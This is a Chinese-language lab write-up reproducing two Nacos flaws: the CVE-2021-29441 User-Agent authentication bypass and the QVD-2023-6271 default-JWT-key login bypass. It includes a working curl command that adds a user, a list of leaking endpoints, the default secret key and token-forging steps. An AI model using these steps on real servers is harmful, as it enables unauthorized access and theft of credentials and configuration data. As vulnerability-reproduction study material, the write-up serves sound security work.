目录
未授权访问(CVE-2021-29441)
漏洞简介
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为"Nacos-Server",如果是的话则不进行任何认证。
影响版本
Nacos <= 2.0.0-ALPHA.1
环境搭建
vulhub
docker-compose up -d
漏洞复现
访问http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1会发现是403
但把ua改为Nacos-Server即可获取到账号和加密的密码
离线爆破
BCryptDecode
可以创建用户名密码进行登录
curl -X POST -d "username=test&password=test" -H "User-Agent: Nacos-Server" "http://192.168.30.131:8848/nacos/v1/auth/users"
有的版本直接访问就可以获取到敏感信息
/nacos/v1/auth/users?pageNo=1&pageSize=1
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword
权限绕过登陆(QVD-2023-6271)
漏洞简介
Nacos用户使用默认JWT密钥导致未授权访问漏洞.通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户.
影响版本
0.1.0<= Nacos<= 2.2.0
环境搭建
./startup.sh -m standalone
漏洞复现
进入容器,找到默认密钥
SecretKey012345678901234567890123456789012345678901234567890123456789
利用jwt.io构造出jwt
其中payload为sub:nacos,exp:较大的时间戳,密钥为默认密钥,勾选base64加密
然后把一个登录包发送到重放模块,添加Authorization: Bearer (jwt)
然后再抓取一个登录包,把Authorization: Bearer (jwt)添加到头部
然后放包,就可以权限绕过了